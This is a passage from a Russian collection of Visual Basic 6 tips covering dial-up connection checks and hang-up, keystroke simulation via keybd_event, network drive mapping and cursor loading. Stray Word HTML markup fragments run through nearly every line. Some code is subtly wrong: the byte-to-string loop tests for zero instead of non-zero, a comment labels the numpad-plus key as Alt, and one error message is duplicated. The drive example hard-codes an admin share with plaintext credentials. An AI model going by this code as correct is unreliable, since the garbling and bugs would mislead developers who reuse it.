lang=EN-US style='mso-ansi-language:EN-US'>hRasConn = lpRasConn(i).hRasConn

lang=EN-US style='mso-ansi-language:EN-US'>ReturnCode = RasHangUp(ByVal hRasConn)

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>Next i

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>Public Function ByteToString(bytString() As Byte) As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim i As Integer

lang=EN-US style='mso-ansi-language:EN-US'>ByteToString = ""

lang=EN-US style='mso-ansi-language:EN-US'>i = 0

lang=EN-US style='mso-ansi-language:EN-US'>While bytString(i) = 0&

lang=EN-US style='mso-ansi-language:EN-US'>ByteToString = ByteToString & Chr(bytString(i))

lang=EN-US style='mso-ansi-language:EN-US'>i = i + 1

lang=EN-US style='mso-ansi-language:EN-US'>Wend

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>Call HangUp

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

41. Узнать есть ли активное соединение с Интернетом

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias

lang=EN-US style='mso-ansi-language:EN-US'>"RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As

lang=EN-US style='mso-ansi-language:EN-US'>Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias

lang=EN-US style='mso-ansi-language:EN-US'>"RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Const RAS95_MaxEntryName = 256

lang=EN-US style='mso-ansi-language:EN-US'>Private Const RAS95_MaxDeviceType = 16

lang=EN-US style='mso-ansi-language:EN-US'>Private Const RAS95_MaxDeviceName = 32

lang=EN-US style='mso-ansi-language:EN-US'>Private Type RASCONN95

lang=EN-US style='mso-ansi-language:EN-US'>dwSize As Long

lang=EN-US style='mso-ansi-language:EN-US'>hRasCon As Long

lang=EN-US style='mso-ansi-language:EN-US'>szEntryName(RAS95_MaxEntryName) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceType(RAS95_MaxDeviceType) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceName(RAS95_MaxDeviceName) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>Private Type RASCONNSTATUS95

lang=EN-US style='mso-ansi-language:EN-US'>dwSize As Long

lang=EN-US style='mso-ansi-language:EN-US'>RasConnState As Long

lang=EN-US style='mso-ansi-language:EN-US'>dwError As Long

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceType(RAS95_MaxDeviceType) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>szDeviceName(RAS95_MaxDeviceName) As Byte

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Public Function IsConnected() As Boolean

lang=EN-US style='mso-ansi-language:EN-US'>Dim TRasCon(255) As RASCONN95

lang=EN-US style='mso-ansi-language:EN-US'>Dim lg As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpcon As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim RetVal As Long

lang=EN-US style='mso-ansi-language:EN-US'>Dim Tstatus As RASCONNSTATUS95

lang=EN-US style='mso-ansi-language:EN-US'>TRasCon(0).dwSize = 412

lang=EN-US style='mso-ansi-language:EN-US'>lg = 256 * TRasCon(0).dwSize

lang=EN-US style='mso-ansi-language:EN-US'>RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)

lang=EN-US style='mso-ansi-language:EN-US'>Tstatus.dwSize = 160

lang=EN-US style='mso-ansi-language:EN-US'>RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)

lang=EN-US style='mso-ansi-language:EN-US'>If Tstatus.RasConnState = &H2000 Then

lang=EN-US style='mso-ansi-language:EN-US'>IsConnected = True

lang=EN-US style='mso-ansi-language:EN-US'>Else

lang=EN-US style='mso-ansi-language:EN-US'>IsConnected = False

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'> style="mso-spacerun: yes">

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Form_Load()

'если есть соединение, то IsConnected() = True, иначе False

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox IsConnected()

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

42. Вызвать окно "Установка связи с Интернетом"

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Form_Load()

lang=EN-US style='mso-ansi-language:EN-US'>Result = Shell("rundll32.exe rnaui.DLL,RnaDial", 1)

End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

43. Симулировать нажатия определенных клавиш

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Sub keybd_event Lib "user32" _

lang=EN-US style='mso-ansi-language:EN-US'>(ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

'bVk - Виртуальный код клавиши для имитации нажатия и отпускания клавиши.

'bScan - Зарезервировано -- установлено в 0.

'dwFlags - Комбинация следующих флагов определяет различные способы имитации:

'KEYEVENTF_EXTENDEDKEY - Префикс скэн-кода с префиксным байтом, имеющим значение &HE0.

'KEYEVENTF_KEYUP - Клавиша, указанная в bVk будет отпущена. Если этот флажок не определен, клавиша будет нажата.

'dwExtraInfo - Дополнительное 32-разрядное значение, связанное с событием клавиатуры.

Const KEYEVENTF_KEYUP = &H2 'событие отпускания клавиши

lang=EN-US style='mso-ansi-language:EN-US'>Const VK_CONTROL = &H11 ' клавиша lang=EN-US style='mso-ansi-language: EN-US'> Ctrl

lang=EN-US style='mso-ansi-language:EN-US'>Const VK_ESCAPE = &H1B ' клавиша lang=EN-US style='mso-ansi-language:EN-US'> Escape

Эмулирующая нажатие кнопки ПУСК

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub ShowStartMenu()

'Функция эмулирует нажатие Ctrl + Esc

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_CONTROL, 0, 0, 0) 'H ажимаем lang=EN-US style='mso-ansi-language:EN-US'> Ctrl

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_ESCAPE, 0, 0, 0) 'H ажимаем lang=EN-US style='mso-ansi-language:EN-US'> Esc

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_ESCAPE, 0, KEYEVENTF_KEYUP, 0) ' Отпускаем lang=EN-US style='mso-ansi-language:EN-US'> Esc

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0) ' Отпускаем lang=EN-US style='mso-ansi-language:EN-US'> Ctrl

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>ShowStartMenu

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>' эмуляция style='mso-ansi-language:EN-US'> нажатия style='mso-ansi-language: EN-US'> клавиши lang=EN-US style='mso-ansi-language:EN-US'> Alt

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_ADD, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_ADD, 0, KEYEVENTF_KEYUP, 0)

lang=EN-US style='mso-ansi-language:EN-US'>

'эмуляция нажатия левой кнопки с логотипом Windows

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_LWIN, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>' Запустить style='mso-ansi-language:EN-US'> проводник lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_LWIN, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(69, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>' поиск style='mso-ansi-language:EN-US'> файла lang=EN-US style='mso-ansi-language: EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>'Call keybd_event(VK_LWIN, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>'Call keybd_event(70, 0, 0, 0)

lang=EN-US style='mso-ansi-language:EN-US'>'Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_ADD = &H6B

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_ATTN = &HF6

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_BACK = &H8

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_CANCEL = &H3

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_CAPITAL = &H14

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_CLEAR = &HC

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_CONTROL = &H11

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_CRSEL = &HF7

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_DECIMAL = &H6E

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_DELETE = &H2E

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_DIVIDE = &H6F

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_DOWN = &H28

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_END = &H23

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_EREOF = &HF9

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_ESCAPE = &H1B

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_EXECUTE = &H2B

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_EXSEL = &HF8

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F1 = &H70

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F10 = &H79

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F11 = &H7A

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F12 = &H7B

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F13 = &H7C

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F14 = &H7D

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F15 = &H7E

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F16 = &H7F

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F17 = &H80

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F18 = &H81

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F19 = &H82

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F2 = &H71

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F20 = &H83

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F21 = &H84

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F22 = &H85

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F23 = &H86

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F24 = &H87

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F3 = &H72

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F4 = &H73

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F5 = &H74

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F6 = &H75

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F7 = &H76

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F8 = &H77

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_F9 = &H78

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_HELP = &H2F

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_HOME = &H24

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_INSERT = &H2D

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_LBUTTON = &H1

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_LCONTROL = &HA2

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_LEFT = &H25

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_LMENU = &HA4

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_LSHIFT = &HA0

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_MBUTTON = &H4

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_MENU = &H12

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_MULTIPLY = &H6A

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NEXT = &H22

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NONAME = &HFC

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMLOCK = &H90

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD0 = &H60

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD1 = &H61

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD2 = &H62

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD3 = &H63

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD4 = &H64

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD5 = &H65

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD6 = &H66

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD7 = &H67

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD8 = &H68

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_NUMPAD9 = &H69

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_OEM_CLEAR = &HFE

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PA1 = &HFD

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PAUSE = &H13

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PLAY = &HFA

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PRINT = &H2A

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PRIOR = &H21

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_PROCESSKEY = &HE5

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RBUTTON = &H2

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RCONTROL = &HA3

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RETURN = &HD

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RIGHT = &H27

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RMENU = &HA5

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_RSHIFT = &HA1

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SCROLL = &H91

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SELECT = &H29

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SEPARATOR = &H6C

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SHIFT = &H10

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SNAPSHOT = &H2C

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SPACE = &H20

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_SUBTRACT = &H6D

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_TAB = &H9

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_UP = &H26

lang=EN-US style='mso-ansi-language:EN-US'>Private Const VK_ZOOM = &HFB

lang=EN-US style='mso-ansi-language:EN-US'>

44. Подключение, отключение сетевого диска

Добавьте дополнительный модуль, и 2 элемента CommandButton.

lang=EN-US style='mso-ansi-language:EN-US'>' КОД style='mso-ansi-language:EN-US'> ФОРМЫ lang=EN-US style='mso-ansi-language: EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command1_Click()

lang=EN-US style='mso-ansi-language:EN-US'>Call Module1.Connect("Sany\c$", "K:", "defaultsharename", "garik")

lang=EN-US style='mso-ansi-language:EN-US'>If (Module1.rc <> 0) And (Module1.rc <> 85) Then

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox Module1.ErrorMsg

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Sub Command2_Click()

lang=EN-US style='mso-ansi-language:EN-US'>Call Module1.DisConnect("K:", True)

lang=EN-US style='mso-ansi-language:EN-US'>If (Module1.rc <> 0) And (Module1.rc <> 85) Then

lang=EN-US style='mso-ansi-language:EN-US'>MsgBox Module1.ErrorMsg

lang=EN-US style='mso-ansi-language:EN-US'>End If

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>' КОД style='mso-ansi-language:EN-US'> МОДУЛЯ lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Option Explicit

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function WNetAddConnection2 Lib "mpr.dll" Alias "WNetAddConnection2A" (lpNetResource As NETRESOURCE, ByVal lpPassword As String, ByVal lpUsername As String, ByVal dwFlags As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public Declare Function WNetCancelConnection2 Lib "mpr.dll" Alias "WNetCancelConnection2A" (ByVal lpName As String, ByVal dwFlags As Long, ByVal fForce As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public ErrorNum As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public ErrorMsg As String

lang=EN-US style='mso-ansi-language:EN-US'>Public rc As Long

lang=EN-US style='mso-ansi-language:EN-US'>Public RemoteName As String

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_BAD_DEV_TYPE = 66&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_ALREADY_ASSIGNED = 85&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_ACCESS_DENIED = 5&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_BAD_NET_NAME = 67&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_BAD_PROFILE = 1206&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_BAD_PROVIDER = 1204&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_BUSY = 170&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_CANCEL_VIOLATION = 173&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_CANNOT_OPEN_PROFILE = 1205&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_DEVICE_ALREADY_REMEMBERED = 1202&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_EXTENDED_ERROR = 1208&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_INVALID_PASSWORD = 86&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_NO_NET_OR_BAD_PATH = 1203&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_NO_NETWORK = 1222&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_NO_CONNECTION = 8

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_NO_DISCONNECT = 9

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_DEVICE_IN_USE = 2404&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_NOT_CONNECTED = 2250&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_OPEN_FILES = 2401&

lang=EN-US style='mso-ansi-language:EN-US'>Public Const ERROR_MORE_DATA = 234

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Const CONNECT_UPDATE_PROFILE = &H1

lang=EN-US style='mso-ansi-language:EN-US'>Public Const RESOURCETYPE_DISK = &H1

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Type NETRESOURCE

lang=EN-US style='mso-ansi-language:EN-US'>dwScope As Long

lang=EN-US style='mso-ansi-language:EN-US'>dwType As Long

lang=EN-US style='mso-ansi-language:EN-US'>dwDisplayType As Long

lang=EN-US style='mso-ansi-language:EN-US'>dwUsage As Long

lang=EN-US style='mso-ansi-language:EN-US'>lpLocalName As String

lang=EN-US style='mso-ansi-language:EN-US'>lpRemoteName As String

lang=EN-US style='mso-ansi-language:EN-US'>lpComment As String

lang=EN-US style='mso-ansi-language:EN-US'>lpProvider As String

lang=EN-US style='mso-ansi-language:EN-US'>End Type

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public lpNetResourse As NETRESOURCE

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Sub Connect(ByVal HostName As String, ByVal RemoteName As String, ByVal Username As String, ByVal Password As String)

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpUsername As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim lpPassword As String

lang=EN-US style='mso-ansi-language:EN-US'>On Error GoTo Err_Connect

lang=EN-US style='mso-ansi-language:EN-US'>ErrorNum = 0

lang=EN-US style='mso-ansi-language:EN-US'>ErrorMsg = ""

lang=EN-US style='mso-ansi-language:EN-US'>lpNetResourse.dwType = RESOURCETYPE_DISK

lang=EN-US style='mso-ansi-language:EN-US'>lpNetResourse.lpLocalName = RemoteName & Chr(0)

lang=EN-US style='mso-ansi-language:EN-US'>'Drive Letter to use

lang=EN-US style='mso-ansi-language:EN-US'>lpNetResourse.lpRemoteName = "\\" & HostName & Chr(0)

lang=EN-US style='mso-ansi-language:EN-US'>'Network Path to share

lang=EN-US style='mso-ansi-language:EN-US'>lpNetResourse.lpProvider = Chr(0)

lang=EN-US style='mso-ansi-language:EN-US'>lpPassword = Password & Chr(0)

lang=EN-US style='mso-ansi-language:EN-US'>'password on share pass "" if none

lang=EN-US style='mso-ansi-language:EN-US'>lpUsername = Username & Chr(0)

lang=EN-US style='mso-ansi-language:EN-US'>'username to connect as if applicable

lang=EN-US style='mso-ansi-language:EN-US'>rc = WNetAddConnection2(lpNetResourse, lpPassword, lpUsername, CONNECT_UPDATE_PROFILE)

lang=EN-US style='mso-ansi-language:EN-US'>If rc <> 0 Then GoTo Err_Connect

lang=EN-US style='mso-ansi-language:EN-US'>Exit Sub

lang=EN-US style='mso-ansi-language:EN-US'>Err_Connect:

lang=EN-US style='mso-ansi-language:EN-US'>ErrorNum = rc

lang=EN-US style='mso-ansi-language:EN-US'>ErrorMsg = WnetError(rc)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Public Sub DisConnect(ByVal Name As String, ByVal ForceOff As Boolean)

lang=EN-US style='mso-ansi-language:EN-US'>On Error GoTo Err_DisConnect

lang=EN-US style='mso-ansi-language:EN-US'>ErrorNum = 0

lang=EN-US style='mso-ansi-language:EN-US'>ErrorMsg = ""

lang=EN-US style='mso-ansi-language:EN-US'>rc = WNetCancelConnection2(Name & Chr(0), CONNECT_UPDATE_PROFILE, ForceOff)

lang=EN-US style='mso-ansi-language:EN-US'>If rc <> 0 Then GoTo Err_DisConnect

lang=EN-US style='mso-ansi-language:EN-US'>Exit Sub

lang=EN-US style='mso-ansi-language:EN-US'>Err_DisConnect:

lang=EN-US style='mso-ansi-language:EN-US'>ErrorNum = rc

lang=EN-US style='mso-ansi-language:EN-US'>ErrorMsg = WnetError(rc)

lang=EN-US style='mso-ansi-language:EN-US'>End Sub

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Private Function WnetError(Errcode As Long) As String

lang=EN-US style='mso-ansi-language:EN-US'>Select Case Errcode

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_BAD_DEV_TYPE

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Bad device."

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_ALREADY_ASSIGNED

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Already Assigned."

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_ACCESS_DENIED

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Access Denied."

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_BAD_NET_NAME

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Bad net name"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_BAD_PROFILE

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Bad Profile"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_BAD_PROVIDER

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Bad Provider"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_BUSY

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Busy"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_CANCEL_VIOLATION

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Cancel Violation"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_CANNOT_OPEN_PROFILE

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Cannot Open Profile"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_DEVICE_ALREADY_REMEMBERED

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Device already remembered"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_EXTENDED_ERROR

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Device already remembered"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_INVALID_PASSWORD

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Invalid Password"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_NO_NET_OR_BAD_PATH

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Could not find the specified device"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_NO_NETWORK

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "No Network Present"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_DEVICE_IN_USE

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Connection Currently in use "

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_NOT_CONNECTED

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "No Connection Present"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_OPEN_FILES

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Files open and the force parameter is false"

lang=EN-US style='mso-ansi-language:EN-US'>Case ERROR_MORE_DATA

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Buffer to small to hold network name, make lpnLength bigger"

lang=EN-US style='mso-ansi-language:EN-US'>Case Else:

lang=EN-US style='mso-ansi-language:EN-US'>WnetError = "Unrecognized Error " + Str(Errcode) + "."

lang=EN-US style='mso-ansi-language:EN-US'>End Select

lang=EN-US style='mso-ansi-language:EN-US'>End Function

lang=EN-US style='mso-ansi-language:EN-US'>

45. Установление анимированного курсора

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long

lang=EN-US style='mso-ansi-language:EN-US'>Private Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

lang=EN-US style='mso-ansi-language:EN-US'>

lang=EN-US style='mso-ansi-language:EN-US'>Const GCL_HCURSOR = (-12)

lang=EN-US style='mso-ansi-language:EN-US'>Dim sCursorFile As String

lang=EN-US style='mso-ansi-language:EN-US'>Dim hCursor As Long

